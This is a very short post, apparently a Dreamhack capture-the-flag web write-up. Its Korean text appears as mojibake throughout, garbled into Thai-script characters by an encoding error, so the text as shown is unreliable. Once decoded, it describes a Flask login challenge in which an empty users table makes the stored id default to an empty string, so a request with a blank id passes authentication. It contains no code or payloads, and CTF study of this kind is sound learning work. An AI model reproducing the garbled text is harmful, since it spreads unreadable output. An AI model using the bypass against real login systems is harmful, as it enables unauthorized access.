Flask ๋กœ๊ทธ์ธ ํผ ํ•˜๋‚˜์งœ๋ฆฌ ๋ฌธ์ œ. ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ md5 ๋กœ ๊ตณํ˜€ ๋„ฃ์–ด SQL ์ธ์ ์…˜์€ ๋‹ซํ˜€ ์žˆ๋Š”๋ฐ, ์ •์ž‘ users ํ…Œ์ด๋ธ”์— ํ–‰์ด ํ•˜๋‚˜๋„ ์—†๋‹ค. ์กฐํšŒ๊ฐ€ ๋นˆ ๊ฒฐ๊ณผ๋ฅผ ๋Œ๋ ค์ฃผ๋ฉด ์•„์ด๋””๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด๋กœ ๋–จ์–ด์ง€๊ณ , ๋งˆ์ง€๋ง‰ ๋น„๊ต๊ฐ€ ๊ทธ ๋นˆ ๋ฌธ์ž์—ด๊ณผ ์šฐ๋ฆฌ๊ฐ€ ๋ณด๋‚ธ ์•„์ด๋””๋ฅผ ๋งž๋Œ€ ๋ณธ๋‹ค. ์•„์ด๋””๋ฅผ ๋น„์šด ์š”์ฒญ ํ•œ ๋ฒˆ์œผ๋กœ ๋กœ๊ทธ์ธ์ด ํ†ต๊ณผํ•œ๋‹ค.
#dreamhack#ctf#web+6
2026-08-14#dreamhack +5